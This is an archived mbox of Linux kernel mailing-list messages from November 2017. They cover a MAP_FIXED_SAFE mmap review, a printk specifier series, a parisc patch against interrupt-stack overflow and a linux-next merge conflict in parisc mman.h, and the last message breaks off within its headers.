>      mapping. We still do rely on get_unmaped_area to handle all the arch
>      specific MAP_FIXED treatment and check for a conflicting vma after it
>      returns.
>      
>      Signed-off-by: Michal Hocko <mhocko@suse.com>
> 
> ...... deleted .......
> diff --git a/mm/mmap.c b/mm/mmap.c
> index 680506faceae..aad8d37f0205 100644
> --- a/mm/mmap.c
> +++ b/mm/mmap.c
> @@ -1358,6 +1358,10 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
>   	if (mm->map_count > sysctl_max_map_count)
>   		return -ENOMEM;
>   
> +	/* force arch specific MAP_FIXED handling in get_unmapped_area */
> +	if (flags & MAP_FIXED_SAFE)
> +		flags |= MAP_FIXED;
> +
>   	/* Obtain the address to map to. we verify (or select) it and ensure
>   	 * that it represents a valid section of the address space.
>   	 */

Do you need to move this code above:

         if (!(flags & MAP_FIXED))
                 addr = round_hint_to_min(addr);

         /* Careful about overflows.. */
         len = PAGE_ALIGN(len);
         if (!len)
                 return -ENOMEM;

Not doing that might mean the hint address will end up being rounded for 
MAP_FIXED_SAFE which would change the behavior from MAP_FIXED.

--
Khalid



From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf
 printk specifiers
Date: Mon, 13 Nov 2017 18:17:54 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <f7ba9e1c-10d8-3519-faad-7520c450c3e9@gmx.de>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510593544 21053 195.159.176.226 (13 Nov 2017 17:19:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 17:19:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 18:18:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEINo-00057l-3M
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 18:18:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753965AbdKMRS7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 12:18:59 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:55336 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753949AbdKMRS6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 12:18:58 -0500
Original-Received: from [192.168.20.60] ([193.159.23.182]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MIhDo-1eC6Vr0xbc-002Ia5; Mon, 13
 Nov 2017 18:17:59 +0100
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:SCCbrvLIf6oqp93xsfsce7LQtCNOv/Li6X8dcnO5MoZthncN5cL
 /Uo16REoLRAXs6+q/5F0/bthVGAOMD988GGuCFUTYultiVzvzwi/5crcXmthkAAB7X56TB8
 JcZ3tzLMKKxa53MV1fn+elQUua/QufEOIeM4VTmM7vZCgZtgd5klB6T2j21ywLyBnCPIOjx
 w0lkUK7tsrsf80VprcWMA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vDnYP9f7t4s=:taPbXweyBOt/iAA8EZmPIn
 r8IpBu3nq2mN7tk78L1sDLDCvCjnl1Cc57AJCLE6TG0FrS+wc6ff0Cwppk9NcPJ2LBuw9Wzn+
 M08jnKt7Tacmqja/7/wXTsT01XQnghs/YyFBP7p1fZK6UuLDIZqxvFduU5s24+Br9th84qluj
 jOG5AGpYK6G7564qV7UTD4Ya0InyA5RXdZW2P7/FqNrFnXOIYNFH8otBPwm1jko6IMOskyKdr
 wjDwaO/p1RMaC7hW8d8dDELBd6Zs5NIlqmVOaaCx6Q6FuzYhFMldScWUwpLS1xoyQTNyex5jB
 j0OemzHV3EdaSKPkYry5EO83U8Rvwnibq51adNb8Gyzm+SM1FdCGMi25/XBk+yghRKPWZNf0C
 4Nr+7Rp6Q2KLFm5F28Lbvg3FeRfCwOZqTzibjZoyhlc8TMk4g625/mtaO5rgpCB66Y7dZ+K15
 SnA5kEkNKgo8DfT/MYzsrlw/kuvFR1hWnsg5FJu1k9ZGpa8NiNVx0H9+/eVEReaTozdGpLDp1
 vnELQuSFNwUbH8z1v13SWXEu0NQtgkeTIx3LPjwdH4XNu4ZJqv8v2kwG1yW4ma3svIKRTcMw6
 ScojAFIo12FyXNG2YJRnJcU5Re5LNAEnx5rqUm2QX3ISWh4at++jTMYf+LCPZKrQUFqo38z4p
 LTv9JX1Cg5Kc8O6EWz5lbr08+lfsnD/btemkMTzQT4gd+FgGCVa1DCyJhkOx1tujSDGnRgGwg
 +31l49raL4QrwS4In9IFI+SeQqvtN9WDZOxpmqstwO24r01jxXepRntWgoTbqYsVwJWRrjVN 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27982 gmane.linux.ports.ia64:28308 gmane.linux.ports.ppc64.devel:150210 gmane.linux.kernel:2615884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27982>

On 10.11.2017 00:48, Sergey Senozhatsky wrote:
> 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> reworked. I'm kindly asking arch-s maintainers and developers to test it
> once again. Sorry for any inconveniences and thanks for your help in
> advance.

I tested it successfully on parisc64.
You can add back the
Tested-by: Helge Deller <deller@gmx.de> #parisc64

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Reduce probability of stack overflow
Date: Mon, 13 Nov 2017 19:35:33 -0500
Lines: 112
Approved: news@gmane.org
Message-ID: <0B5E3032-0DA1-457B-B32E-21B318FDB687@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-46--263411265
X-Trace: blaine.gmane.org 1510619737 13600 195.159.176.226 (14 Nov 2017 00:35:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 00:35:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 14 01:35:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEPCL-00035d-2E
	for glpp-linux-parisc@m.gmane.org; Tue, 14 Nov 2017 01:35:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751240AbdKNAff (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 19:35:35 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:32840 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751113AbdKNAff (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 19:35:35 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20171114003533.DFPD5610.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 13 Nov 2017 19:35:33 -0500
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by mtlspm01.bell.net
          with ESMTP
          id <20171114003533.EIEN28394.mtlspm01.bell.net@[192.168.2.25]>;
          Mon, 13 Nov 2017 19:35:33 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=sC3jslCIGhcA:10 a=VwQbUJbxAAAA:8 a=FBHGMhGWAAAA:8 a=8LRWOabqPZY7RQTV4yUA:9 a=CjuIK1q_8ugA:10 a=11N_CCh9-46PZWdxxsUA:9 a=kRaYyqVdMjIA:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=AjGcO6oz07-iQ99wixmX:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27983>


--Apple-Mail-46--263411265
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

Even with a 32 kB thread stack, I have seen instances where the thread =
stack overflowed on the mx3210 buildd.
Detection of stack overflow only occurs when we have an external =
interrupt.  When an external interrupt occurs,
we switch to the thread stack if we are not already on a kernel stack.  =
Then, registers and specials are saved to
the kernel stack.

The bug occurs in intr_return where interrupts are reenabled prior to =
returning from the interrupt.  This was done
incase we need to schedule or deliver signals.  However, it introduces =
the possibility that multiple external interrupts
may occur on the thread stack and cause a stack overflow.  These might =
not be detected and cause the kernel to
misbehave in random ways.

This patch changes the code to only reenable interrupts when we are =
going to schedule or deliver signals.  As a
result, we generally return from an interrupt before reenabling =
interrupts.  This minimizes the growth of the thread
stack.

This patch conflicts with the patch proposed by Helge here:
https://patchwork.kernel.org/patch/9970169/

In testing, I found that the thread stack can be 16 kB  when using an =
irq stack .  Without it, the thread stack needs
to be 32 kB.  Currently, the irq stack is 32 kB.  While it probably =
could be 16 kB, I would prefer to leave it as is for
safety.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-46--263411265
Content-Disposition: attachment;
	filename=low-stack.d.stack
Content-Type: application/octet-stream;
	name="low-stack.d.stack"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index bc208136bbb2..a960a5e9cfb5 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -34,7 +34,12 @@ struct thread_info {
 
 /* thread information allocation */
 
+#ifdef CONFIG_IRQSTACKS
+#define THREAD_SIZE_ORDER	2 /* PA-RISC requires at least 16k stack */
+#else
 #define THREAD_SIZE_ORDER	3 /* PA-RISC requires at least 32k stack */
+#endif
+
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index a4fd296c958e..0d1603eb1f9f 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -878,9 +878,6 @@ ENTRY_CFI(syscall_exit_rfi)
 	STREG   %r19,PT_SR7(%r16)
 
 intr_return:
-	/* NOTE: Need to enable interrupts incase we schedule. */
-	ssm     PSW_SM_I, %r0
-
 	/* check for reschedule */
 	mfctl   %cr30,%r1
 	LDREG   TI_FLAGS(%r1),%r19	/* sched.h: TIF_NEED_RESCHED */
@@ -912,6 +909,7 @@ intr_check_sig:
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
+	ssm     PSW_SM_I, %r0
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
@@ -963,6 +961,7 @@ intr_do_resched:
 #endif
 
 	ldil	L%intr_check_sig, %r2
+	ssm     PSW_SM_I, %r0
 #ifndef CONFIG_64BIT
 	b	schedule
 #else

--Apple-Mail-46--263411265
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-46--263411265--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Tue, 14 Nov 2017 10:29:27 +0900
Lines: 19
Approved: news@gmane.org
Message-ID: <20171114012927.GB7328@jagdpanzerIV>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <f7ba9e1c-10d8-3519-faad-7520c450c3e9@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510622975 16536 195.159.176.226 (14 Nov 2017 01:29:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 01:29:35 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Nov 14 02:29:29 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eEQ2Y-0002gC-7e
	for glpi-linux-ia64-2@m.gmane.org; Tue, 14 Nov 2017 02:29:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750972AbdKNB3d (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 13 Nov 2017 20:29:33 -0500
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:49961 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750807AbdKNB3c (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Mon, 13 Nov 2017 20:29:32 -0500
Original-Received: by mail-pf0-f194.google.com with SMTP id l24so754196pfj.6;
        Mon, 13 Nov 2017 17:29:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=RQlW82rdHSLrIfi39Uzyl2yGka6mmLmr4JUwO3JgIqY=;
        b=eo//rh+9tKcXCLdCHfyJlJAC8wKq1NSoI26Vza2i6mAFPWVYHtc91OCrnvICLNUvOQ
         YO1NofS5nCFaW2qFdggSH0adJaEzaFhjp5WSyodfy91Zg5it9NuKEu0nH3uoM2QPhC1j
         YcuxcenUsWYNLoMtmT52Ey9TYXi3CXRzNgj1vI04q+DYbI3gbgOKqcE4VoZa4bDuQRK5
         bpvwd9jTbVBoXmoAy4GQLrO1vllv4dTY1QnC5ehtCz+dlRyttaHZBUgJ12NHHE8h9yMq
         qT5z080Ypbnw8FrhlhGtLcCQAMp/bmIZqp9p/loL9YUB2Oo9DzdjCb+9xAEWbwAHj202
         vLGw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=RQlW82rdHSLrIfi39Uzyl2yGka6mmLmr4JUwO3JgIqY=;
        b=Nu+TD6Q6zT6Xx3QV4mWlP0U74BlESkHU1/G/QqsHKe2tlTOe8SxIm4z++ebHpPm0Fq
         sFDURJblCVzcDADSHXYQC+fHu61E8Wx4kQN9Kz1XOFlrcdLdsUGYkH8pmqBqn4nZMFp6
         kNGAjlhw1jVnI4hO6BnZsjzsml77ovCSifXJ7caUs0Yz9yqc1fktfyqC7hDsO+lu3Ot5
         oNhdiu9Ve8ycOGQln2EDCg2omrZdT6d4EL1HEMzdLXGdlE3is6ujCKFCwQMARric5fHF
         vyezXtkiWzEbgVr1PHxOd0ibeUrPyeUJTrTNAoNXyhNjFAx1rWudJXJuQsPbeCNvu4kn
         AD2Q==
X-Gm-Message-State: AJaThX48md51WxH5KbRCrUeJoXDumM8wI5BIokNFh0ca4QSCi4KpsVAN
        g4qZUkr0lvYYhd5fYiU9+DE=
X-Google-Smtp-Source: AGs4zMY6l5eocWp4r7RMR11SvwVAmeItlPwQJ8Qa5XroboWFTnk8Zr+wDsTrhZgl/SDFdd/1FV2PEQ==
X-Received: by 10.101.75.204 with SMTP id p12mr10564478pgr.61.1510622972091;
        Mon, 13 Nov 2017 17:29:32 -0800 (PST)
Original-Received: from localhost ([39.7.47.87])
        by smtp.gmail.com with ESMTPSA id b10sm11721997pfj.20.2017.11.13.17.29.29
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Nov 2017 17:29:30 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <f7ba9e1c-10d8-3519-faad-7520c450c3e9@gmx.de>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28310 gmane.linux.ports.parisc:27984 gmane.linux.ports.ppc64.devel:150216 gmane.linux.kernel:2616178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28310>

On (11/13/17 18:17), Helge Deller wrote:
> On 10.11.2017 00:48, Sergey Senozhatsky wrote:
> > 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> > reworked. I'm kindly asking arch-s maintainers and developers to test it
> > once again. Sorry for any inconveniences and thanks for your help in
> > advance.
> 
> I tested it successfully on parisc64.
> You can add back the
> Tested-by: Helge Deller <deller@gmx.de> #parisc64

thanks!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the nvdimm tree with the parisc-hd tree
Date: Tue, 14 Nov 2017 15:39:48 +1100
Lines: 45
Approved: news@gmane.org
Message-ID: <20171114153948.62467591@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510634392 30153 195.159.176.226 (14 Nov 2017 04:39:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 04:39:52 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Dan Williams <dan.j.williams@intel.com>,
        Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Nov 14 05:39:47 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1eET0k-0007VY-HS
	for glkn-linux-next@m.gmane.org; Tue, 14 Nov 2017 05:39:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751605AbdKNEjv (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Mon, 13 Nov 2017 23:39:51 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:56683 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751161AbdKNEjv (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Mon, 13 Nov 2017 23:39:51 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3ybZYK0mxnz9s7F;
        Tue, 14 Nov 2017 15:39:49 +1100 (AEDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1510634389;
        bh=+AbFJZB9sAsFcEShNpzYTYNHafmmWlCYBXKCXvkFlRs=;
        h=Date:From:To:Cc:Subject:From;
        b=C4RwS7M097s8anZf16NspqkWa9jFxz1HkElLql1VHt78sXQLSTUAJkUOnSTZOUTZ9
         sVbk30vVsDBrCaglTbQMcDJLZ4G8AUzFsHb4cOcX6+hBYhvtfNPnR2ktc7mh4HdroY
         /P9/8OfQjlJpgD9NYnnZDR8FioVmMj7FHKG1884F1ZUlrqY6ngFQoNtHxs/3BVhpbe
         ALII8f6dqlGg2nITwuaCdcOPe06DZayZAfNwffo7erl1uu1mV+KRkm3gPU0rSkcw4E
         hDLY6qxml5C3iXSTuugLvXr/iAxRlYA81sOitGKgnUl8xneEw/5yWdPdH84ZZkIAth
         pGNM1RLWviStQ==
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:44281 gmane.linux.ports.parisc:27985 gmane.linux.kernel:2616235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/44281>

Hi Dan,

Today's linux-next merge of the nvdimm tree got a conflict in:

  arch/parisc/include/uapi/asm/mman.h

between commit:

  48cd4dc8f57f ("parisc: Convert MAP_TYPE to cover 4 bits on parisc")

from the parisc-hd tree and commit:

  1c9725974074 ("mm: introduce MAP_SHARED_VALIDATE, a mechanism to safely define new mmap flag")

from the nvdimm tree.

I fixed it up (see below) and can carry the fix as necessary. This
is now fixed as far as linux-next is concerned, but any non trivial
conflicts should be mentioned to your upstream maintainer when your tree
is submitted for merging.  You may also want to consider cooperating
with the maintainer of the conflicting tree to minimise any particularly
complex conflicts.

-- 
Cheers,
Stephen Rothwell

diff --cc arch/parisc/include/uapi/asm/mman.h
index 9a39035986cc,bca652aa1677..000000000000
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@@ -12,11 -11,10 +12,12 @@@
  
  #define MAP_SHARED	0x01		/* Share changes */
  #define MAP_PRIVATE	0x02		/* Changes are private */
+ #define MAP_SHARED_VALIDATE 0x03	/* share + validate extension flags */
 -#define MAP_TYPE	0x03		/* Mask for type of mapping */
 +#define MAP_TYPE	(MAP_SHARED|MAP_PRIVATE|MAP_RESRVD1|MAP_RESRVD2) /* Mask for type of mapping */
  #define MAP_FIXED	0x04		/* Interpret addr exactly */
 +#define MAP_RESRVD1	0x08		/* reserved for 3rd bit of MAP_TYPE */
  #define MAP_ANONYMOUS	0x10		/* don't use a file */
 +#define MAP_RESRVD2	0x20		/* reserved for 4th bit of MAP_TYPE */
  
  #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
  #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */

From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 08:07:48 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20171114070748.in5zdc4giqbxowjy@dhcp22.suse.cz>
References: <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
 <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
 <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
 <c52fa249-9583-18a2-cbac-28abfb23d5a5@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510643279 5862 195.159.176.226 (14 Nov 2017 07:07:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 07:07:59 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lis
To: Khalid Aziz <khalid.aziz@oracle.com>
Original-X-From: linux-next-owner@vger.kernel.org Tue Nov 14 08:07:53 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1eEVK3-0000kP-VF
